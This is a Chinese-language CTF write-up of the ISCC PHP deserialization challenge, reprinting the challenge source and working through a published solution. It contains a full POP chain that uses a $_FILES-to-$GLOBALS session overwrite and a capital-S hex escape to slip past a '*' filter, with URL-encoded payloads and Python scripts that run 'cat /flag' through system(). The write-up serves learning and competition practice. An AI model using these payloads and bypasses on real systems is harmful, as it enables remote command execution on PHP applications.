ISCC的反序列化, S 16禁止过滤 * ,反序列化的顺序,session变量覆盖,

目录:

    • 一、当时做,不会做,分析不出来。看WP
      • 2. 反序列化的观察
      • 1. 分析这个第一块:`$_GLOBAL[]`
        • 1. 开始测试:
      • 3. 就差那个`*`的转化不懂了。
    • 二、学到的:
      • 1. 绕过 \00 和 `*`在反序列化中的限制,

一、当时做,不会做,分析不出来。看WP



session_start();
ini_set('max_execution_time', '5');
set_time_limit(5);

$status = "new";
$cmd = "whoami";
$is_upload = false;
$is_unser_finished = false;
$iscc_file = NULL;

class ISCC_Upload {
     

    function __wakeup() {
     
        global $cmd;
        global $is_upload;
        $cmd = "whoami";
        $_SESSION['name'] = randstr(14);
        $is_upload = (count($_FILES) > 0);
    }

    function __destruct() {
     
        global $is_upload;
        global $status;
        global $iscc_file;
        $status = "upload_fail";
        if ($is_upload) {
     

            foreach ($_FILES as $key => $value)
                $GLOBALS[$key] = $value;


            if(is_uploaded_file($iscc_file['tmp_name'])) {
     

                $check = @getimagesize($iscc_file["tmp_name"]);

                if($check !== false) {
     

                    $target_dir = "/var/tmp/";
                    $target_file = $target_dir . randstr(10);

                    if (file_exists($target_file)) {
     
                        echo "想啥呢?有东西了……
"
; finalize(); exit; } if ($iscc_file["size"] > 500000) { echo "东西塞不进去~
"
; finalize(); exit; } if (move_uploaded_file($iscc_file["tmp_name"], $target_file)) { echo "我拿到了!
"
; $iscc_file = $target_file; $status = "upload_ok"; } else { echo "拿不到:(
"
; finalize(); exit; } } else { finalize(); exit; } } else { echo "你真是个天才!
"
; finalize(); exit; } } } } class ISCC_ResetCMD { protected $new_cmd = "echo '新新世界,发号施令!'"; function __wakeup() { global $cmd; global $is_upload; global $status; $_SESSION['name'] = randstr(14); $is_upload = false; if(!isset($this->new_cmd)) { $status = "error"; $error = "你这罐子是空的!"; throw new Exception($error); } if(!is_string($this->new_cmd)) { $status = "error"; $error = '东西都没给对!'; throw new Exception($error); } } function __destruct() { global $cmd; global $status; $status = "reset"; if($_SESSION['name'] === 'isccIsCciScc1scc') { $cmd = $this->new_cmd; } } } class ISCC_Login { function __wakeup() { $this->login(); } function __destruct() { $this->logout(); } function login() { $flag = file_get_contents("/flag"); $pAssM0rd = hash("sha256", $flag); if($_GET['pAssM0rd'] === $pAssM0rd) $_SESSION['name'] = "isccIsCciScc1scc"; } function logout() { global $status; unset($_SESSION['name']); $status = "finish"; } } class ISCC_TellMeTruth { function __wakeup() { if(!isset($_SESSION['name'])) $_SESSION['name'] = randstr(14); echo "似乎这个 ".$_SESSION['name']." 是真相
"
; } function __destruct() { echo "似乎这个 ".$_SESSION['name']." 是真相
"
; } } class ISCC_Command { function __wakeup() { global $cmd; global $is_upload; $_SESSION['name'] = randstr(14); $is_upload = false; $cmd = "whoami"; } function __toString() { global $cmd; return "看看你干的好事: { $cmd}
"
; } function __destruct() { global $cmd; global $status; global $is_unser_finished; $status = "cmd"; if($is_unser_finished === true) { echo "看看你干的 [{ $cmd}] 弄出了什么后果: "; echo ""; @system($cmd); echo ""; } } } function randstr($len) { $characters = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_='; $randstring = ''; for ($i = 0; $i < $len; $i++) { $randstring .= $characters[rand(0, strlen($characters))]; } return $randstring; } function waf($s) { if(stripos($s, "*") !== FALSE) return false; return true; } function finalize() { $cmd = ""; $is_upload = false; unset($_SESSION); @unlink($iscc_file); $status = "finish"; echo "
"
; } if(isset($_GET['whatareyounongshane'])) { $whatareyounongshane = $_GET['whatareyounongshane']; switch ($whatareyounongshane) { case "src": highlight_file(__FILE__); break; case "cmd": echo "想越级干好事?还是有门的……"; header('Location: /?%3f=O:12:"ISCC_Command":0:{}'); break; case "reset": echo "几辈子积累的好运就在这时~:p"; header('Location: /?%3f=O:13:"ISCC_ResetCMD":1:{}'); break; case "upload": $resp = <<<EOF
EOF;
echo $resp; break; case "tellmetruth": echo base64_decode("PGltZyBzcmM9J3RlbGxtZXRydXRoLmdpZic+Cg=="); header('Location: /?%3f=O:14:"ISCC_TellMeTruth":0:{}'); break; default: echo "空空如也就是我!"; } finalize(); die("所以哪个ISCC是真的?
"
); } if(isset($_GET['?'])) { $wtf = waf($_GET{ '?'}) ? $_GET['?'] : (finalize() && die("试试就“逝世”!")); if($goodshit = @unserialize($wtf)) { $is_unser_finished = true; } if(in_array($status, array('new', 'cmd', 'upload_ok', 'upload_fail', 'reset'), true)) finalize(); die("所以哪个ISCC是真的?
"
); } ?>

ISCC_Command类里面的__destruct方法可以执行cmd命令

function __destruct() {
     
        global $cmd;
        global $status;
        global $is_unser_finished;
        $status = "cmd";
        if($is_unser_finished === true) {
     
            echo "看看你干的 [{
       $cmd}] 弄出了什么后果: ";
            echo "";
            @system($cmd);
            echo "";
        }
    }

然后在ISCC_ResetCMD类里面对cmd进行重新赋值

class ISCC_ResetCMD {
     
    protected $new_cmd = "echo '新新世界,发号施令!'";
    function __destruct() {
     
        global $cmd;
        global $status;
        $status = "reset";
        if($_SESSION['name'] === 'isccIsCciScc1scc') {
     
            $cmd = $this->new_cmd;
        }
    }

}

但是要求:这里的__destruct方法必须得满足这个才能重置命令,即需要名为isccIsCciScc1sccSESSION。也就是$_SESSION['name']='isccIsCciScc1scc'才行,。那么就要覆盖session变量,

if($_SESSION['name'] === 'isccIsCciScc1scc') {
     
            $cmd = $this->new_cmd;
        }

ISCC__Upload类:

class ISCC_Upload {
     

    function __wakeup() {
     
        global $cmd;
        global $is_upload;
        $cmd = "whoami";
        $_SESSION['name'] = randstr(14);
        $is_upload = (count($_FILES) > 0);
    }

    function __destruct() {
     
        global $is_upload;
        global $status;
        global $iscc_file;
        $status = "upload_fail";
        if ($is_upload) {
     

            foreach ($_FILES as $key => $value)
                $GLOBALS[$key] = $value;

其中$GLOBALS['key'] = value;为全局变量的覆盖,当$is_uploadtrue的时候,就会触发这个循环,可以实现$_SESSION的变量覆盖。

而在upload类里面的__wakeup方法里面$is_upload = (count($_FILES) > 0);会把他设置成true.。在其他的类中,都将$is_upload设置为了false。所以就在这里操作。

这里了解一下$_FILES$_FILES通过TTP POST方式上传到当前脚本的项目的数组。
数组内容如下:

$_FILES['userfile']['name']       #客户端机器文件的原名称。
$_FILES['userfile']['type']      #文件的 MIME 类型,如果浏览器提供此信息的话。一个例子是“image/gif”。不过此 MIME 类型在 PHP 端并不检查,因此不要想当然认为有这个值。
$_FILES['userfile']['size']      #已上传文件的大小,单位为字节。
$_FILES['userfile']['tmp_name']    #文件被上传后在服务端储存的临时文件名。
$_FILES['userfile']['error']       #和该文件上传相关的错误代码。此项目是在 PHP 4.2.0 版本中增加的。

传入这样的脚本,就能够实现session数组变量的覆盖了。 后面又分析,很细致的分析。

import requests
url="http://ip/aa/test1.php"
files={
     
    'iscc_file': ("b", 'content', 'bbb'),
    "_SESSION":("isccIsCciScc1scc","123")
}
headers={
     
    'Cookie':"XDEBUG_SESSION=PHPSTORM"
}
r=requests.post(url=url,files=files)
print(r.text)

那么来了:

我们要先执行upload的destruct来改变session。然后是reset的destruct,重写cmd。然后是comand的destruct。执行命令。

这里,顺序要倒过来看下面:序列化的顺序和反序列化调用destruct的顺序是相反的。

ISCC的反序列化, S 16禁止过滤 * ,反序列化的顺序,session变量覆盖,_第1张图片

我们要在ISCC__Upload类执行__destruct之前,is_uploadtrue

这就要求,最早执行__destruct,最晚执行__wakeup,所以就可以按一定顺序来构造POP链 --------------》?????

先是upload的destruct,然后是reset的destruct,然后是comand的destruct、

由于有一个waf函数,不能出现*号。

function waf($s) {
     
    if(stripos($s, "*") !== FALSE)
        return false;
    return true;
}

但是ISCC_ResetCMD类的$new_cmd的属性是protected的,序列化后会带有*,这就需要SCC_Upload类的__wakeup在这些类的最后进行,但是__destruct要在第一个开始。需要按一定顺序来构造POP链::

这个数组,就是用来控制顺序的。


class ISCC_Command {
     

}
class ISCC_ResetCMD {
     

    protected $new_cmd = "cat /flag";

}
class ISCC_Upload {
     
}
$a=array(
    'a'=>new ISCC_Upload(),
    'b'=>new ISCC_ResetCMD(),
    'c'=>new ISCC_Command(),
);
$b=serialize($a);
echo $b;

结果是这个:
protected属性,*两边各有一个\00,不可见字符,各占一个位置,

a:3:{
     s:1:"a";O:11:"ISCC_Upload":0:{
     }s:1:"b";O:13:"ISCC_ResetCMD":1:{
     s:10:" * new_cmd";s:9:"cat /flag";}s:1:"c";O:12:"ISCC_Command":0:{
     }}

然后这里绕过方法:

利用16进制绕过,将s替换成S,在序列化内容中使用大写S表示字符串,此时这个字符串就支持将后面的字符串用16进制进行表示。使用url编码一下,然后替换s即可。

\00表示%00我晓得,但是这里,替换%2A*。怎么就变成了这个了啊。?

重新构造POP链:


class ISCC_Command {
     

}
class ISCC_ResetCMD {
     

    protected $new_cmd = "cat /flag";

}
class ISCC_Upload {
     
}
$a=array(
    'a'=>new ISCC_Upload(),
    'b'=>new ISCC_ResetCMD(),
    'c'=>new ISCC_Command(),
);
$b=urlencode(serialize($a));
$b=str_replace("s","S",$b);
$b=str_replace("%2A",'\2a',$b);
echo $b;

我运行之后是这个:

a%3A3%3A%7BS%3A1%3A%22a%22%3BO%3A11%3A%22ISCC_Upload%22%3A0%3A%7B%7DS%3A1%3A%22b%22%3BO%3A13%3A%22ISCC_ReSetCMD%22%3A1%3A%7BS%3A10%3A%22%00\2a%00new_cmd%22%3BS%3A9%3A%22cat+%2Fflag%22%3B%7DS%3A1%3A%22c%22%3BO%3A12%3A%22ISCC_Command%22%3A0%3A%7B%7D%7D

但是WP最终提交的是这个:

O%3A11%3A%22ISCC_Upload%22%3A1%3A%7BS%3A1%3A%22a%22%3BO%3A13%3A%22ISCC_ReSetCMD%22%3A2%3A%7BS%3A10%3A%22%00%5C2a%00new_cmd%22%3BS%3A9%3A%22cat+%2Fflag%22%3BS%3A1%3A%22b%22%3BO%3A12%3A%22ISCC_Command%22%3A0%3A%7B%7D%7D%7D
import requests

url="http://ip/aa/test1.php"
content="""
#define width 13
#define height 13
"""

files={
     
    'iscc_file': ("b", content, 'bbb'),
    "_SESSION":("isccIsCciScc1scc","123")

}
headers={
     
    'Cookie':"PHPSESSID=l349vpmm3ttecidg9usocam8h0"
}
r=requests.post(url=url+"??=O%3A11%3A%22ISCC_Upload%22%3A1%3A%7BS%3A1%3A%22a%22%3BO%3A13%3A%22ISCC_ReSetCMD%22%3A2%3A%7BS%3A10%3A%22%00%5C2a%00new_cmd%22%3BS%3A9%3A%22cat+%2Fflag%22%3BS%3A1%3A%22b%22%3BO%3A12%3A%22ISCC_Command%22%3A0%3A%7B%7D%7D%7D",files=files,headers=headers)
# r = requests.post(url=url)
print(r.text)

2. 反序列化的观察

我用它的这个payload能打出来,但是我的就不行,

ISCC的反序列化, S 16禁止过滤 * ,反序列化的顺序,session变量覆盖,_第2张图片
弄一弄它的

在这里插入图片描述

ISCC的反序列化, S 16禁止过滤 * ,反序列化的顺序,session变量覆盖,_第3张图片

ISCC的反序列化, S 16禁止过滤 * ,反序列化的顺序,session变量覆盖,_第4张图片

佐证一下,看看下面这个就明白了。悟了,我好像悟了,

ISCC的反序列化, S 16禁止过滤 * ,反序列化的顺序,session变量覆盖,_第5张图片然后我根据这个反推出来了。如下构造的payload。

ISCC的反序列化, S 16禁止过滤 * ,反序列化的顺序,session变量覆盖,_第6张图片


class ISCC_Command {
     
    public $a;
}
class ISCC_ResetCMD {
     

    protected $new_cmd = "cat /flag";
    public $b;
}
class ISCC_Upload {
     
}
/*
$a=array(
    'a'=>new ISCC_Upload(),
    'b'=>new ISCC_ResetCMD(),
    'c'=>new ISCC_Command(),
);
*/
$com = new ISCC_Command();
$com->a=new ISCC_ResetCMD();
$res = new ISCC_ResetCMD();
$res->b=new ISCC_Upload();

$b=urlencode(serialize($com));
echo serialize($com)."\n";
$b=str_replace("s","S",$b);
$b=str_replace("%2A",'\2a',$b);
echo $b;
?>

出来的payload:

这是我的,,
O:11:"ISCC_Upload":1:{
     s:1:"a";O:13:"ISCC_ResetCMD":2:{
     s:10:" * new_cmd";s:9:"cat /flag";s:1:"b";N;}}
这是WP的urldecode之后的:

这是我的
O%3A11%3A%22ISCC_Upload%22%3A1%3A%7BS%3A1%3A%22a%22%3BO%3A13%3A%22ISCC_ReSetCMD%22%3A2%3A%7BS%3A10%3A%22%00\2a%00new_cmd%22%3BS%3A9%3A%22cat+%2Fflag%22%3BS%3A1%3A%22b%22%3BN%3B%7D%7D
这是WP的。
O%3A11%3A%22ISCC_Upload%22%3A1%3A%7BS%3A1%3A%22a%22%3BO%3A13%3A%22ISCC_ReSetCMD%22%3A2%3A%7BS%3A10%3A%22%00%5C2a%00new_cmd%22%3BS%3A9%3A%22cat+%2Fflag%22%3BS%3A1%3A%22b%22%3BO%3A12%3A%22ISCC_Command%22%3A0%3A%7B%7D%7D%7D

1. 分析这个第一块:$_GLOBAL[]

这一块有漏洞,最后我们需要$_SESSION['name']='isccIsCciScc1scc'。才行,就用这里来控制$_SESSION

ISCC的反序列化, S 16禁止过滤 * ,反序列化的顺序,session变量覆盖,_第7张图片

1. 开始测试:

python上传文件的脚本,根本看不懂,为什么要上传一个名字为_SESSION的文件,这里要深入分析才能够知道。

import requests
url="http://ip/aa/test1.php"
files={
     
    'iscc_file': ("b", 'content', 'bbb'),
    "_SESSION":("isccIsCciScc1scc","123")
}
headers={
     
    'Cookie':"XDEBUG_SESSION=PHPSTORM"
}
r=requests.post(url=url,files=files)
print(r.text)

看phpstorm中的调试:


session_start();
$_SESSION['name'] = 'adam';
var_dump($_SESSION);

$_FILES=array("iscc_file"=>array("name"=>"b","type"=>"bbb","tmp_name"=>"/tmp/phpzfe23f","error"=>0,"size"=>7),
                "_SESSION"=>array("name"=>"isccIsCciScc1scc","type"=>'aaa',"tmp_name"=>"/tmp/php23fo4i","error"=>0,"size"=>3));

foreach ($_FILES as $key => $value)
{
     
    $GLOBALS[$key] = $value;
    echo $key."
"
; } #var_dump($_FILES); #var_dump($_SESSION); var_dump($GLOBALS); echo "
"
."
"
; var_dump($_SESSION); ?>

ISCC的反序列化, S 16禁止过滤 * ,反序列化的顺序,session变量覆盖,_第8张图片
ISCC的反序列化, S 16禁止过滤 * ,反序列化的顺序,session变量覆盖,_第9张图片
ISCC的反序列化, S 16禁止过滤 * ,反序列化的顺序,session变量覆盖,_第10张图片
ISCC的反序列化, S 16禁止过滤 * ,反序列化的顺序,session变量覆盖,_第11张图片
ISCC的反序列化, S 16禁止过滤 * ,反序列化的顺序,session变量覆盖,_第12张图片
同样可以伪造COOKIES?。不行,因为文件伤处啊那就只有5个参数,只不过这里session数组的参数name,刚刚好文件上传数组中也有name这个,然后就实现覆盖了。

真的妙,妙啊,

3. 就差那个*的转化不懂了。

这个*换为10进制是 42 . 然后 变成16进制是 2a 、 然后就是\2a了。

二、学到的:

1. 绕过 \00 和 *在反序列化中的限制,

你可能感兴趣的:(ISCC的反序列化, S 16禁止过滤 * ,反序列化的顺序,session变量覆盖,)